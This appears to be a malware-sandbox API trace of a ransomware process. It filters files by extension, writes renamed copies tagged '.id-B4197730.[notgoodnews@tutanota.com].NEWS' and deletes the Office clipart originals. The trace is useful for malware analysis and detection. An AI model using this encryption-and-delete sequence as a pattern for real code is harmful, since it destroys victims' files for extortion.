[0089.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0089.581] lstrlenW (lpString=".1cd") returned 4 [0089.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0089.581] lstrlenW (lpString=".jpg") returned 4 [0089.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0089.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0089.581] lstrlenW (lpString=".doc") returned 4 [0089.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.582] lstrlenW (lpString=".docx") returned 5 [0089.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.582] lstrlenW (lpString=".pdf") returned 4 [0089.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.582] lstrlenW (lpString=".xls") returned 4 [0089.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.582] lstrlenW (lpString=".xlsx") returned 5 [0089.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.582] lstrlenW (lpString=".ppt") returned 4 [0089.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0089.582] lstrlenW (lpString=".zip") returned 4 [0089.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.582] lstrlenW (lpString=".rar") returned 4 [0089.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.582] lstrlenW (lpString=".bz2") returned 4 [0089.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.582] lstrlenW (lpString=".7z") returned 3 [0089.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0089.582] lstrlenW (lpString=".dbf") returned 4 [0089.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0089.582] lstrlenW (lpString=".1cd") returned 4 [0089.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0089.582] lstrlenW (lpString=".jpg") returned 4 [0089.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.582] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.582] lstrlenW (lpString="IN00046_.WMF") returned 12 [0089.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.584] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1158) returned 1 [0089.584] CloseHandle (hObject=0x2c4) returned 1 [0089.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 0x220 [0089.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.584] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.584] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0089.585] GetLastError () returned 0x0 [0089.585] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x486, lpOverlapped=0x0) returned 1 [0089.586] WriteFile (in: hFile=0x390, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x490, lpOverlapped=0x0) returned 1 [0089.587] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.587] WriteFile (in: hFile=0x390, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.587] SetEndOfFile (hFile=0x390) returned 1 [0089.588] CloseHandle (hObject=0x390) returned 1 [0089.588] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.588] SetEndOfFile (hFile=0x2c4) returned 1 [0089.589] CloseHandle (hObject=0x2c4) returned 1 [0089.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0089.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0089.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0089.589] lstrlenW (lpString=".doc") returned 4 [0089.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.589] lstrlenW (lpString=".docx") returned 5 [0089.589] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.589] lstrlenW (lpString=".pdf") returned 4 [0089.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.589] lstrlenW (lpString=".xls") returned 4 [0089.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.589] lstrlenW (lpString=".xlsx") returned 5 [0089.589] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.589] lstrlenW (lpString=".ppt") returned 4 [0089.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0089.589] lstrlenW (lpString=".zip") returned 4 [0089.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.589] lstrlenW (lpString=".rar") returned 4 [0089.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.589] lstrlenW (lpString=".bz2") returned 4 [0089.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.590] lstrlenW (lpString=".7z") returned 3 [0089.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0089.590] lstrlenW (lpString=".dbf") returned 4 [0089.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0089.590] lstrlenW (lpString=".1cd") returned 4 [0089.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0089.590] lstrlenW (lpString=".jpg") returned 4 [0089.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0089.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0089.590] lstrlenW (lpString=".doc") returned 4 [0089.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.590] lstrlenW (lpString=".docx") returned 5 [0089.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.590] lstrlenW (lpString=".pdf") returned 4 [0089.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.590] lstrlenW (lpString=".xls") returned 4 [0089.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.590] lstrlenW (lpString=".xlsx") returned 5 [0089.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.590] lstrlenW (lpString=".ppt") returned 4 [0089.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0089.590] lstrlenW (lpString=".zip") returned 4 [0089.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.590] lstrlenW (lpString=".rar") returned 4 [0089.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.590] lstrlenW (lpString=".bz2") returned 4 [0089.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.590] lstrlenW (lpString=".7z") returned 3 [0089.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0089.591] lstrlenW (lpString=".dbf") returned 4 [0089.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0089.591] lstrlenW (lpString=".1cd") returned 4 [0089.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0089.591] lstrlenW (lpString=".jpg") returned 4 [0089.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.591] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.591] lstrlenW (lpString="IN00118_.WMF") returned 12 [0089.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.591] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=792) returned 1 [0089.591] CloseHandle (hObject=0x2c4) returned 1 [0089.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 0x220 [0089.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.592] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.592] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0089.592] GetLastError () returned 0x0 [0089.592] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x318, lpOverlapped=0x0) returned 1 [0089.885] WriteFile (in: hFile=0x390, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x320, lpOverlapped=0x0) returned 1 [0089.886] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.887] WriteFile (in: hFile=0x390, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.887] SetEndOfFile (hFile=0x390) returned 1 [0089.887] CloseHandle (hObject=0x390) returned 1 [0089.887] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.887] SetEndOfFile (hFile=0x2c4) returned 1 [0089.888] CloseHandle (hObject=0x2c4) returned 1 [0089.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0089.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0089.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0089.889] lstrlenW (lpString=".doc") returned 4 [0089.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.889] lstrlenW (lpString=".docx") returned 5 [0089.889] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.889] lstrlenW (lpString=".pdf") returned 4 [0089.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.889] lstrlenW (lpString=".xls") returned 4 [0089.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.889] lstrlenW (lpString=".xlsx") returned 5 [0089.889] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.889] lstrlenW (lpString=".ppt") returned 4 [0089.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0089.889] lstrlenW (lpString=".zip") returned 4 [0089.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.889] lstrlenW (lpString=".rar") returned 4 [0089.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.889] lstrlenW (lpString=".bz2") returned 4 [0089.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.889] lstrlenW (lpString=".7z") returned 3 [0089.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0089.889] lstrlenW (lpString=".dbf") returned 4 [0089.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0089.889] lstrlenW (lpString=".1cd") returned 4 [0089.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0089.890] lstrlenW (lpString=".jpg") returned 4 [0089.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0089.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0089.890] lstrlenW (lpString=".doc") returned 4 [0089.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.890] lstrlenW (lpString=".docx") returned 5 [0089.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.890] lstrlenW (lpString=".pdf") returned 4 [0089.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.890] lstrlenW (lpString=".xls") returned 4 [0089.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.890] lstrlenW (lpString=".xlsx") returned 5 [0089.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.890] lstrlenW (lpString=".ppt") returned 4 [0089.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0089.890] lstrlenW (lpString=".zip") returned 4 [0089.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.890] lstrlenW (lpString=".rar") returned 4 [0089.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.890] lstrlenW (lpString=".bz2") returned 4 [0089.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.890] lstrlenW (lpString=".7z") returned 3 [0089.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0089.891] lstrlenW (lpString=".dbf") returned 4 [0089.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0089.891] lstrlenW (lpString=".1cd") returned 4 [0089.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0089.891] lstrlenW (lpString=".jpg") returned 4 [0089.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.974] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.975] lstrlenW (lpString="IN00351_.WMF") returned 12 [0089.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.975] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1928) returned 1 [0089.975] CloseHandle (hObject=0x378) returned 1 [0089.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 0x220 [0089.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.975] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.975] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0089.976] GetLastError () returned 0x0 [0089.976] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x788, lpOverlapped=0x0) returned 1 [0089.977] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x790, lpOverlapped=0x0) returned 1 [0089.978] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.978] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.978] SetEndOfFile (hFile=0x330) returned 1 [0089.978] CloseHandle (hObject=0x330) returned 1 [0089.978] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.978] SetEndOfFile (hFile=0x378) returned 1 [0089.979] CloseHandle (hObject=0x378) returned 1 [0089.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0089.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0089.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0089.980] lstrlenW (lpString=".doc") returned 4 [0089.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.980] lstrlenW (lpString=".docx") returned 5 [0089.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.980] lstrlenW (lpString=".pdf") returned 4 [0089.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.980] lstrlenW (lpString=".xls") returned 4 [0089.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.980] lstrlenW (lpString=".xlsx") returned 5 [0089.980] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.980] lstrlenW (lpString=".ppt") returned 4 [0089.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0089.980] lstrlenW (lpString=".zip") returned 4 [0089.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.980] lstrlenW (lpString=".rar") returned 4 [0089.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.980] lstrlenW (lpString=".bz2") returned 4 [0089.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.980] lstrlenW (lpString=".7z") returned 3 [0089.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0089.980] lstrlenW (lpString=".dbf") returned 4 [0089.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0089.980] lstrlenW (lpString=".1cd") returned 4 [0089.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.980] lstrlenW (lpString="C:\\Program Files\\Microsoft 